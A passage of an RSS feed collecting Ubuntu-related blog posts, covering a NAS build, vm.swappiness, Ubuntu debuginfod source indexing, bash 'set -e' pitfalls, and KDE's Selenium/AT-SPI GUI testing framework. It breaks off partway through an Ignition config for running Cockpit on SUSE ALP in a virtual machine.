<p>And&#8230; that&#8217;s it! I built a NAS. I intend to add some fans and more RAM, but that&#8217;s the build. Total spent: about $3000, which sounds like an unreasonable amount, but it&#8217;s actually less than a comparable Synology DiskStation DS1823xs+ which has 4 cores instead of 6, first-generation AMD Zen instead of Zen 3, 8 GiB RAM instead of 32 GiB, no hardware-accelerated video transcoding, etc. And it would have been a whole lot less fun!</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7958-768x1024.jpg" alt="" class="wp-image-1364" srcset="https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7958-768x1024.jpg 768w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7958-413x550.jpg 413w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7958-1152x1536.jpg 1152w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7958-1536x2048.jpg 1536w, https://apebox.org/wordpress/wp-content/uploads/2023/09/img_7958-scaled.jpg 1920w" sizes="auto, (max-width: 768px) 100vw, 768px" /><figcaption class="wp-element-caption">The final system, powered up</figcaption></figure>



<p>(Also posted on <a href="https://pcpartpicker.com/b/fYhtt6">PCPartPicker</a>)</p>]]></description>
      <source url="http://apebox.org/wordpress/tag/ubuntu/feed/">Jo Shields</source>
    </item>
    <item>
      <title>Understanding vm.swappiness: Improving Linux Performance and Memory Management</title>
      <link>https://coderstalk.blogspot.com/2023/07/understanding-vmswappiness-improving.html</link>
      <guid isPermaLink="true">https://coderstalk.blogspot.com/2023/07/understanding-vmswappiness-improving.html</guid>
      <pubDate>Sun, 23 Jul 2023 23:13:00 GMT</pubDate>
      <description><![CDATA[<p>As a Linux user, you may have stumbled across the enigmatic <b>&#39;vm.swappiness&#39;</b> setting when examining your system&#39;s configuration. The variable <b>&#39;vm.swappiness&#39;</b> is important in Linux memory management because it affects how your system handles virtual memory and swap space. In this blog post, we&#39;ll debunk &#39;vm.swappiness&#39; and look at how it affects system performance. So, let&#39;s plunge into the world of Linux memory management and expose the secrets of <code>vm.swappiness</code>.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZE7splmvd-4V23PZQZEdNHnAwccY4ZYWg5SegSGeAS6MYDAPmMTxEOqLfGCBwf5zqTmBLoeSVaOWoaP-a8aFeJ3k6D5ZGo-KiaUd3xyWjm-2p2uCAsmTzN4Apc4sW0xFcJimbycr2yiAXfIxtJW97piew3tNkdW7wk5udgchEzjYh6ecIebcpe4ttLRI/s768/rachel-cook-linux2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="512" data-original-width="768" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZE7splmvd-4V23PZQZEdNHnAwccY4ZYWg5SegSGeAS6MYDAPmMTxEOqLfGCBwf5zqTmBLoeSVaOWoaP-a8aFeJ3k6D5ZGo-KiaUd3xyWjm-2p2uCAsmTzN4Apc4sW0xFcJimbycr2yiAXfIxtJW97piew3tNkdW7wk5udgchEzjYh6ecIebcpe4ttLRI/w640-h426/rachel-cook-linux2.png" width="640"></a><span></span></div><a href="https://coderstalk.blogspot.com/2023/07/understanding-vmswappiness-improving.html#more"></a>]]></description>
      <source url="https://coderstalk.blogspot.com/feeds/posts/default/">Muhammad Fauzilkamil Zainuddin</source>
    </item>
    <item>
      <title>Ubuntu debuginfod and source code indexing</title>
      <link>https://blog.sergiodj.net/posts/ubuntu-debuginfod-source-code-indexing/</link>
      <guid isPermaLink="true">https://blog.sergiodj.net/posts/ubuntu-debuginfod-source-code-indexing/</guid>
      <pubDate>Sat, 13 May 2023 20:43:00 GMT</pubDate>
      <description><![CDATA[<p>You might remember that in my <a href="/posts/debuginfod-is-coming-to-ubuntu/">last post</a> about the <a rel="external" href="https://debuginfod.ubuntu.com">Ubuntu debuginfod
service</a> I talked about wanting to extend it and make it index and
serve source code from packages.  I'm excited to announce that this is
now a reality since the Ubuntu Lunar (23.04) release.</p>
<p>The feature should work for a lot of packages from the archive, but
not all of them.  Keep reading to better understand why.</p>
<h2 id="the-problem">The problem</h2>
<p>While debugging a package in Ubuntu, one of the first steps you need
to take is to install its source code.  There are some problems with
this:</p>
<ul>
<li><code>apt-get source</code> required <code>dpkg-dev</code> to be installed, which ends up
pulling in a lot of other dependencies.</li>
<li>GDB needs to be taught how to find the source code for the package
being debugged.  This can usually be done by using the <code>dir</code>
command, but finding the proper path to be is usually not trivial,
and you find yourself having to use more "complex" commands like
<code>set substitute-path</code>, for example.</li>
<li>You have to make sure that the version of the source package is the
same as the version of the binary package(s) you want to debug.</li>
<li>If you want to debug the libraries that the package links against,
you will face the same problems described above for each library.</li>
</ul>
<p>So yeah, not a trivial/pleasant task after all.</p>
<h2 id="the-solution-dot-dot-dot">The solution...</h2>
<p>Debuginfod can index source code as well as debug symbols.  It is
smart enough to keep a relationship between the source package and the
corresponding binary's Build-ID, which is what GDB will use when
making a request for a specific source file.  This means that, just
like what happens for debug symbol files, the user does not need to
keep track of the source package version.</p>
<p>While indexing source code, debuginfod will also maintain a record of
the relative pathname of each source file.  No more fiddling with
paths inside the debugger to get things working properly.</p>
<p>Last, but not least, if there's a need for a library source file and
if it's indexed by debuginfod, then it will get downloaded
automatically as well.</p>
<h2 id="dot-dot-dot-but-not-a-perfect-one">... but not a perfect one</h2>
<p>In order to make debuginfod happy when indexing source files, I had to
patch <code>dpkg</code> and make it always use <code>-fdebug-prefix-map</code> when
compiling stuff.  This GCC option is used to remap pathnames inside
the DWARF, which is needed because in Debian/Ubuntu we build our
packages inside chroots and the build directories end up containing a
bunch of random cruft (like <code>/build/ayusd-ASDSEA/something/here</code>).  So
we need to make sure the path prefix (the <code>/build/ayusd-ASDSEA</code> part)
is uniform across all packages, and that's where <code>-fdebug-prefix-map</code>
helps.</p>
<p>This means that the package <strong>must</strong> honour <code>dpkg-buildflags</code> during its
build process, otherwise the magic flag won't be passed and your DWARF
will end up with bogus paths.  This should not be a big problem,
because most of our packages do honour <code>dpkg-buildflags</code>, and those
who don't should be fixed anyway.</p>
<h2 id="dot-dot-dot-especially-if-you-re-using-lto">... especially if you're using LTO</h2>
<p>Ubuntu enables <a rel="external" href="https://gcc.gnu.org/onlinedocs/gccint/LTO-Overview.html">LTO</a> by default, and unfortunately we are affected by an
<a rel="external" href="https://gcc.gnu.org/bugzilla/show_bug.cgi?id=109805">annoying (and complex) bug</a> that results in those bogus pathnames not
being properly remapped.  The bug doesn't affect all packages, but if
you see GDB having trouble finding a source file whose full path
starts without <code>/usr/src/...</code>, that is a good indication that you're
being affected by this bug.  Hopefully we should see some progress in
the following weeks.</p>
<h2 id="your-feedback-is-important-to-us">Your feedback is important to us</h2>
<p>If you have any comments, or if you found something strange that looks
like a bug in the service, please reach out.  You can either send an
email to my <a rel="external" href="https://lists.sr.ht/~sergiodj/public-inbox">public inbox</a> (see below) or file a bug against the
<a rel="external" href="https://bugs.launchpad.net/ubuntu-debuginfod">ubuntu-debuginfod project on Launchpad</a>.</p>]]></description>
      <source url="https://blog.sergiodj.net/tag/ubuntu.xml">Sergio Durigan Junior</source>
    </item>
    <item>
      <title>Today I learned: set -e sucks even more.</title>
      <link>https://smoser.github.io//2023/04/27/set-e-bad.html</link>
      <guid isPermaLink="true">https://smoser.github.io//2023/04/27/set-e-bad.html</guid>
      <pubDate>Thu, 27 Apr 2023 00:00:00 GMT</pubDate>
      <description><![CDATA[<h1 id="today-i-learned-set--e-sucks-even-more">Today I learned: set -e sucks even more.</h1>
<p><strong>Summary: Just don’t use set -e.</strong></p>

<p>I’ve never been a fan “errexit” in shell.  You’ve probably seen this as <code class="language-plaintext highlighter-rouge">set -e</code>, or <code class="language-plaintext highlighter-rouge">set -o errexit</code> or <code class="language-plaintext highlighter-rouge">sh -e</code>.</p>

<p>People write lists of shell commands in a file and want the script to exit on the first one that fails rather than barreling on and causing damage.  That seems sane.</p>

<p>I’ve always strived to write “shell programs” rather than “shell scripts”.  The difference being that the program will clean up after itself and give sane error messages.  It won’t just exit when <code class="language-plaintext highlighter-rouge">mkdir</code> fails and leave the user to understand some message like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> mkdir: cannot create directory ‘/tmp/work/bcd’: No such file or directory
</code></pre></div></div>

<p>I’ve always felt that errexit makes “good error handling” in shell more difficult.</p>

<p>The <a href="http://manpages.ubuntu.com/manpages/jammy/en/man1/bash.1.html">bash(1)</a> man page has the following text:</p>
<blockquote>

  <p>If  a  compound  command or shell function executes in a context where -e is being ignored, none of the commands executed within the compound command or function body will be affected by the -e setting, even if -e is set and a command returns a failure status.  If a compound command or shell function sets -e while executing in a context where -e is ignored, that setting will not have any effect until the compound command or the command containing the function call completes.</p>
</blockquote>

<p>Here’s an example of how painful it can be, and I took way too long today tracking down what was wrong.</p>

<ol>
  <li>
    <p>A Programmer starts off with a simple script <code class="language-plaintext highlighter-rouge">make-lvs</code> and uses <code class="language-plaintext highlighter-rouge">set -e</code>.</p>

    <pre><code class="language-bash=">#!/bin/bash -ex
lvm lvcreate --size=1G myvg -n mylv0
lvm lvcreate --size=1G myvg -n mylv1
</code></pre>

    <p>This looks fine for a “shell script”.  The <code class="language-plaintext highlighter-rouge">-x</code> argument even makes shell write to standard error the commands it is running.  At this point everyone is happy.</p>
  </li>
  <li>
    <p>Later the programmer looks at the script and realizes that he/she needs more flags to lvm lvcreate.  So now the script looks like:</p>

    <pre><code class="language-bash=">#!/bin/bash -ex
lvm lvcreate --ignoremonitoring --yes --activate=y --setactivationskip=n --size=1G --name=mylv0 mylv0
lvm lvcreate --ignoremonitoring --yes --activate=y --setactivationskip=n --size=1G --name=mylv1 myvg 
</code></pre>

    <p>I’m happy that the programmer here used long format flags as they are much more self documenting so readers don’t have to (as quickly) open up the <a href="http://manpages.ubuntu.com/manpages/bionic/en/man8/lvcreate.8.html">lvm man</a> page.   It is easier to make sense of that than it is to read ‘<code class="language-plaintext highlighter-rouge">lvm lvcreate --ignoremonitoring -y -ay -ky -L1G -n mylv</code>’.</p>
  </li>
  <li>
    <p>After doing so, they realize that they can make this look a lot nicer, and reduce the copy/paste code with a simple function wrapper.</p>

    <pre><code class="language-bash=">#!/bin/bash -e
lvcreate() {
    echo "Creating lv $2 on vg $1 of size $3"
    lvm lvcreate "--size=$3" --ignoremonitoring --yes --activate=y \
        --setactivationskip=n --name="$2" "$1"
    echo "Created $1/$2"
}

lvcreate myvg mylv0 1G
lvcreate myvg mylv1 1G
</code></pre>

    <p>The improvements are great.  The complexity of the <code class="language-plaintext highlighter-rouge">lvm lvcreate</code> is abstracted away nicely.  They’ve even dropped the vile <code class="language-plaintext highlighter-rouge">set -x</code> in favor of more human friendly messages.</p>

    <p>Output of a failing <code class="language-plaintext highlighter-rouge">lvm</code> command looks like this:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ make-lvs; echo "exited with $?"
Creating lv mylv0 on vg myvg of size 1G
out of space
exited with 1
</code></pre></div>    </div>
  </li>
  <li>
    <p>The next improvement is where sanity goes completely out the window.  [<em>I realize you were questioning my sanity long ago due to my pursuit of shell scripting perfection</em>].</p>

    <p>The programmer tries to add reasonable ‘FATAL’ messages that you might find in log messages of other other programming languages.</p>

    <pre><code class="language-bash="> #!/bin/bash -e
 lvcreate() {
     echo "Creating lv $2 on vg $1 of size $3"
     lvm lvcreate "--size=$3" --ignoremonitoring --yes --activate=y \
         --setactivationskip=n --name="$2" "$1"
     echo "Created $1/$2"
 }
 fail() { echo "FATAL:" "$@" 1&gt;&amp;2; exit 1; }
    
 lvcreate myvg mylv0 1G || fail "Failed to create mylv0"
    
 if ! lvcreate myvg mylv1 2G; then
     fail "Failed to create lylv1"
 fi
 echo "Success"
</code></pre>

    <p>Can you guess what is going to happen here?</p>

    <p>If the <code class="language-plaintext highlighter-rouge">lvm</code> command fails (perhaps the vg is out of space) then the output of this script will look like:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> $ make-lvs; echo exited with $?
 Creating lv mylv1 on vg myvg of size 1G
 error: out of space
 Created myvg/mylv1
 Creating lv mylv2 on vg myvg of size 1G
 error: out of space
 Created myvg/mylv2
 Success
 exited with 0
</code></pre></div>    </div>
  </li>
</ol>

<p>The attempt to handle the failure of the <code class="language-plaintext highlighter-rouge">lvcreate</code> function with <code class="language-plaintext highlighter-rouge">||</code> on lines 10 and with <code class="language-plaintext highlighter-rouge">if !</code> on line 12 made it a “compound command”.  A compound command disables the error handling and shell exit that would have come from <code class="language-plaintext highlighter-rouge">-e</code> when the lvm command on line 4 failed.</p>

<p>Above I’ve demonstrated with bash, but this is actually posix behavior, and you can just as well test the function with <a href="http://manpages.ubuntu.com/manpages/bionic/en/man1/sh.1.html"><code class="language-plaintext highlighter-rouge">sh</code></a> as well.</p>

<p>Madness.</p>

<p>If you’re interested in further reading, you can see this topic on the <a href="https://mywiki.wooledge.org/BashFAQ/105">BashFAQ</a>.  I agree with GreyCat and geirha: “don’t use set -e. Add your own error checking instead.”</p>

<p>If you’re <em>still</em> here, the following is the version of the script that I’d like to see. Of course there are other improvements that can be made, but I’m happy with it.</p>

<pre><code class="language-bash=">   #!/bin/bash
   info() { echo "$@" 1&gt;&amp;2; }
   stderr() { echo "$@" 1&gt;&amp;2; }
   fail() { stderr "FATAL:" "$@"; exit 1; }
   lvcreate() {
       local vg="$1" lv="$2" size="$3"
       info "Creating $vg/$lv size $size"
       lvm lvcreate \
           --ignoremonitoring --yes --activate=y --setactivationskip=n \
           --size="$size" --name="$lv" "$vg" || {
               stderr "failed ($?) to create $vg/$lv size $size"
               return 1
           }
       info "Created $vg/$lv"
   }
   
   # demonstrate both 'command ||' and 'if ! command; then' styles.
   lvcreate myvg mylv0 1G || fail "Failed to create mylv0"
   
   if ! lvcreate myvg mylv1 1G; then
       fail "Failed to create mylv1"
   fi
   
   info "Success"
</code></pre>]]></description>
      <source url="https://smoser.github.io/feed/by_tag/ubuntu.xml">Scott Moser</source>
    </item>
    <item>
      <title>Selenium + AT-SPI = GUI Testing</title>
      <link>https://apachelog.wordpress.com/2022/12/14/selenium-at-spi-gui-testing/</link>
      <guid isPermaLink="true">https://apachelog.wordpress.com/2022/12/14/selenium-at-spi-gui-testing/</guid>
      <pubDate>Wed, 14 Dec 2022 15:59:20 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">At <a href="https://kde.org/">KDE</a> we have multiple levels of quality assurance ranging from various degrees of a humans testing features to fully automated testing. Indeed automated testing is incredibly important for the continued quality of our software. A big corner stone of our testing strategy are so called unit tests, they test a specific piece of our software for its behavior in isolation. But for many aspects of our software we need a much higher level view, testing pieces of Plasma&#8217;s application launcher in isolation is all good and well but that won&#8217;t tell us if the entire UI can be easily navigated using the keyboard. For this type of test we require a different testing approach altogether. A couple months ago I&#8217;ve set <a href="https://markmail.org/message/toklo6unkc3bmuww">set out</a> to create a <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi">testing framework</a> for this use case and I&#8217;m glad to say that it has matured enough to be used for writing tests. I&#8217;d like to walk you through the technical building blocks and a simple example.</p>



<p class="wp-block-paragraph">Let us start of by looking at the architecture at large. So&#8230; there&#8217;s <a href="https://www.selenium.dev/">Selenium</a> which is an incredibly popular, albeit web-oriented, testing framework. Its main advantages for us are its popularity and that it sports a server-client split. This means we can leverage the existing client tooling available for Selenium without having to write anything ourselves, we only need to grow a server. The server component, called a <a href="https://www.w3.org/TR/webdriver/">WebDriver</a>, implements the actual interaction with UI elements and is generic enough to also apply to desktop applications. Indeed so thought others as well: there already exists <a href="https://appium.io">Appium</a> &#8211; it extends Selenium with more app-specific features and behaviors. Something for us to build upon. The clients meanwhile are completely separate and talk to the WebDriver over a well defined JSON REST protocol, meaning we can reuse the existing clients without having to write anything ourselves. They are available in a multitude of programming languages, and who knows maybe we&#8217;ll eventually get one for writing Selenium tests in QML <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph">That of course doesn&#8217;t explain how GUI testing can work with this on Linux. Enter: <a href="https://www.freedesktop.org/wiki/Accessibility/AT-SPI2/">AT-SPI</a>. AT-SPI is an accessibility API and pretty much the standard accessibility system for use on Linux. Obviously its primary use is assistive technologies, like the screen reader <a href="https://wiki.gnome.org/Projects/Orca">Orca</a>, but to do its job it essentially offers a toolkit-independent way of introspecting and interacting with GUI applications. This then gives us a way to implement a WebDriver without caring about the toolkit or app specifics. As long as the app supports AT-SPI, which all Qt apps do implicitly, we can test it.</p>



<p class="wp-block-paragraph">Since all the client tooling is independent of the server all we needed to get GUI testing going was a WebDriver that talks to AT-SPI.</p>



<figure class="wp-block-image size-large"><a href="https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png"><img width="1024" height="167" data-attachment-id="1910" data-permalink="https://apachelog.wordpress.com/2022/12/14/selenium-at-spi-gui-testing/selenium/#main" data-orig-file="https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png" data-orig-size="2007,329" data-comments-opened="0" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="selenium" data-image-description="" data-image-caption="" data-large-file="https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=615" src="https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=1024" alt="" class="wp-image-1910" srcset="https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=1024 1024w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=150 150w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=300 300w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=768 768w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png?w=1440 1440w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/selenium.png 2007w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<p class="wp-block-paragraph">That is what I set out to write and I&#8217;m happy to announce that we now have an <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi">AT-SPI based WebDriver</a>, and the <a href="https://invent.kde.org/plasma/kdeplasma-addons/-/merge_requests/291">first</a> tests are popping into existence already. There is also lovely <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi/-/wikis/writing-tests">documentation</a> to hold onto.</p>



<p class="wp-block-paragraph">So, without further ado. Let us write a simple test. Since the <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi/-/wikis/writing-tests">documentation</a> already writes one in Python I&#8217;ll use Ruby this time around so we have some examples of different languages. A simple candidate is KInfoCenter. We can test its search functionality with a couple of lines of code.</p>



<p class="wp-block-paragraph">First we need to install <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi">selenium-webdriver-at-spi</a>, clone it, cmake build it, and cmake install it. You&#8217;ll also need to install the relevant client libraries. For ruby that&#8217;s simply running <code>gem install appium_lib</code>.</p>



<p class="wp-block-paragraph">Then we can start with writing our test. We will need some boilerplate setup logic. This is more or less the same for every test. For more details on the driver setup you may also check the <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi/-/wikis/writing-tests">wiki page.</a></p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: ruby; gutter: false; title: ; notranslate">
  def setup
    @appium_driver = Appium::Driver.new(
      {
        &#039;caps&#039; =&gt; { app: &#039;org.kde.kinfocenter.desktop&#039; },
        &#039;appium_lib&#039; =&gt; {
          server_url: &#039;http://127.0.0.1:4723&#039;,
          wait_timeout: 10,
          wait_interval: 0.5
        }
      }, true
    )
    @driver = @appium_driver.start_driver
  end
</pre></div>


<p class="wp-block-paragraph">The driver will take care of starting the correct application and make sure that it is actually running correctly. Next we&#8217;ll write the actual test. Let&#8217;s test the search. The first order of business is using a tool called <a href="https://gitlab.gnome.org/GNOME/accerciser">Accerciser</a> to inspect the AT-SPI presentation of the application. For more information on how to use this tool please refer to the wiki. Using Accerciser I&#8217;ve located the search field and learned that it is called &#8216;Search&#8217;. So, let&#8217;s locate it and activate it, search for the CPU module:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: ruby; gutter: false; title: ; notranslate">
  def test_search
    search = driver.find_element(:name, 'Search')
    search.click
    search.send_keys('cpu')
</pre></div>


<p class="wp-block-paragraph">Next let us find the CPU list item and activate it:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: ruby; gutter: false; title: ; notranslate">
    cpu = driver.find_element(:class_name, '&#91;list item | CPU]')
    assert(cpu.displayed?)
    cpu.click
</pre></div>


<p class="wp-block-paragraph">And finally let&#8217;s assert that the page was actually activated:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: ruby; gutter: false; title: ; notranslate">
    cpu_tab = driver.find_element(:class_name, '&#91;page tab | CPU]')
    assert(cpu_tab.displayed?)
</pre></div>


<p class="wp-block-paragraph">To run the complete test we can use the run wrapper: <code>selenium-webdriver-at-spi-run ./kinfocentertest.rb</code> (mind that it needs to be +x). If all has gone well we should get a successful test.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; gutter: false; title: ; notranslate">
Finished in 1.345276s, 0.7433 runs/s, 1.4867 assertions/s.

1 runs, 2 assertions, 0 failures, 0 errors, 0 skips
I, &#91;2022-12-14T13:13:53.508516 #154338]  INFO -- : tests done
I, &#91;2022-12-14T13:13:53.508583 #154338]  INFO -- : run.rb exiting true
</pre></div>


<p class="wp-block-paragraph">This should get you started with writing a test for <strong>your</strong> application! I&#8217;ll gladly help and review your forthcoming tests.<br>For more detailed documentation check out the <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi/-/wikis/writing-tests">writing-tests</a> wiki page as well as the <a href="https://appium.io/docs/en/about-appium/intro/">appium command reference</a>.</p>



<p class="wp-block-paragraph">Of course the work is not done. <code>selenium-webdriver-at-sp</code>i is very much still a work in progress and I&#8217;d be glad for others to help add features as they become needed. The <a href="https://invent.kde.org/sdk/selenium-webdriver-at-spi">gitlab project</a> is the place for that. <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/2764.png" alt="❤" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph">The complete code of the example above:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: ruby; title: ; notranslate">
#!/usr/bin/env ruby
# frozen_string_literal: true

# SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only OR LicenseRef-KDE-Accepted-GPL
# SPDX-FileCopyrightText: 2022 Harald Sitter &lt;sitter@kde.org&gt;

require &#039;appium_lib&#039;
require &#039;minitest/autorun&#039;

class TestKInfoCenter &lt; Minitest::Test
  attr_reader :driver

  def setup
    @appium_driver = Appium::Driver.new(
      {
        &#039;caps&#039; =&gt; { app: &#039;org.kde.kinfocenter.desktop&#039; },
        &#039;appium_lib&#039; =&gt; {
          server_url: &#039;http://127.0.0.1:4723&#039;,
          wait_timeout: 10,
          wait_interval: 0.5
        }
      }, true
    )
    @driver = @appium_driver.start_driver
  end

  def teardown
    driver.quit
  end

  def test_search
    search = driver.find_element(:name, &#039;Search&#039;)
    search.click
    search.send_keys(&#039;cpu&#039;)

    cpu = driver.find_element(:class_name, &#039;&#91;list item | CPU]&#039;)
    assert(cpu.displayed?)
    cpu.click

    cpu_tab = driver.find_element(:class_name, &#039;&#91;page tab | CPU]&#039;)
    assert(cpu_tab.displayed?)
  end
end
</pre></div>


<figure class="wp-block-image size-large"><a href="https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif"><img width="1024" height="817" data-attachment-id="1904" data-permalink="https://apachelog.wordpress.com/2022/12/14/selenium-at-spi-gui-testing/kinfocenter-test/#main" data-orig-file="https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif" data-orig-size="1040,830" data-comments-opened="0" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="kinfocenter-test" data-image-description="" data-image-caption="" data-large-file="https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif?w=615" src="https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif?w=1024" alt="" class="wp-image-1904" srcset="https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif?w=1024 1024w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif?w=150 150w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif?w=300 300w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif?w=768 768w, https://apachelog.wordpress.com/wp-content/uploads/2022/12/kinfocenter-test.gif 1040w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>]]></description>
      <source url="https://apachelog.wordpress.com/category/kde/feed/?mrss=off&amp;category_name=ubuntu">Harald Sitter</source>
    </item>
    <item>
      <title>Running Cockpit inside ALP</title>
      <link>https://losca.blogspot.com/2022/12/running-cockpit-inside-alp.html</link>
      <guid isPermaLink="true">https://losca.blogspot.com/2022/12/running-cockpit-inside-alp.html</guid>
      <pubDate>Sat, 10 Dec 2022 13:07:00 GMT</pubDate>
      <description><![CDATA[<p><span style="font-size: x-small;">(quoted from my <a href="https://timojyrinki.gitlab.io/hugo/">other blog</a> at since a new OS might be interesting for many and this is published in separate planets)</span><br /></p><p>ALP - <a href="https://documentation.suse.com/alp/all/single-html/alp/index.html">The Adaptable Linux Platform</a>
 – is a new operating system from SUSE to run containerized and 
virtualized workloads. It is in early prototype phase, but the 
development is done completely openly so it’s easy to jump in to try it.</p>
<p>For this trying out, I used the latest encrypted build – as of the writing, 22.1 – from <a href="https://download.opensuse.org/repositories/SUSE:/ALP/images/">ALP images</a>.
 I imported it in virt-manager as a Generic Linux 2022 image, using UEFI
 instead of BIOS, added a TPM device (which I’m interested in otherwise)
 and referring to an Ignition JSON file in the XML config in 
virt-manager.</p>
<p>The Ignition part is pretty much fully thanks to Paolo Stivanin who 
studied the secrets of it before me. But here it goes - and this is 
required for password login in Cockpit to work in addition to SSH key 
based login to the VM from host - first, create config.ign file:</p>
<div class="highlight"><pre style="-moz-tab-size: 4; -o-tab-size: 4; background-color: #272822; color: #f8f8f2; tab-size: 4;" tabindex="0"><code class="language-json" data-lang="json"><span style="display: flex;"><span>{
</span></span><span style="display: flex;"><span>  <span style="color: #f92672;">"ignition"</span>: { <span style="color: #f92672;">"version"</span>: <span style="color: #e6db74;">"3.3.0"</span> },
</span></span><span style="display: flex;"><span>  <span style="color: #f92672;">"passwd"</span>: {
</span></span><span style="display: flex;"><span>    <span style="color: #f92672;">"users"</span>: [
</span></span><span style="display: flex;"><span>      {
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"name"</span>: <span style="color: #e6db74;">"root"</span>,
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"passwordHash"</span>: <span style="color: #e6db74;">"YOURHASH"</span>,
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"sshAuthorizedKeys"</span>: [
</span></span><span style="display: flex;"><span>          <span style="color: #e6db74;">"ssh-... YOURKEY"</span>
</span></span><span style="display: flex;"><span>        ]
</span></span><span style="display: flex;"><span>      }
</span></span><span style="display: flex;"><span>    ]
</span></span><span style="display: flex;"><span>  },
</span></span><span style="display: flex;"><span>  <span style="color: #f92672;">"systemd"</span>: {
</span></span><span style="display: flex;"><span>    <span style="color: #f92672;">"units"</span>: [{
</span></span><span style="display: flex;"><span>      <span style="color: #f92672;">"name"</span>: <span style="color: #e6db74;">"sshd.service"</span>,
</span></span><span style="display: flex;"><span>      <span style="color: #f92672;">"enabled"</span>: <span style="color: #66d9ef;">true</span>
</span></span><span style="display: flex;"><span>    }]
</span></span><span style="display: flex;"><span>  },
</span></span><span style="display: flex;"><span>  <span style="color: #f92672;">"storage"</span>: {
</span></span><span style="display: flex;"><span>    <span style="color: #f92672;">"files"</span>: [
</span></span><span style="display: flex;"><span>      {
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"overwrite"</span>: <span style="color: #66d9ef;">true</span>,
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"path"</span>: <span style="color: #e6db74;">"/etc/ssh/sshd_config.d/20-enable-passwords.conf"</span>,
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"contents"</span>: {
</span></span><span style="display: flex;"><span>          <span style="color: #f92672;">"source"</span>: <span style="color: #e6db74;">"data:,PasswordAuthentication%20yes%0APermitRootLogin%20yes%0A"</span>
</span></span><span style="display: flex;"><span>        },
</span></span><span style="display: flex;"><span>        <span style="color: #f92672;">"mode"</span>: <span style="color: #ae81ff;">420</span>
</span></span><span style="display: flex;"><span>      }
</span></span><span style="display: flex;"><span>    ]
</span></span><span style="display: flex;"><span>  }
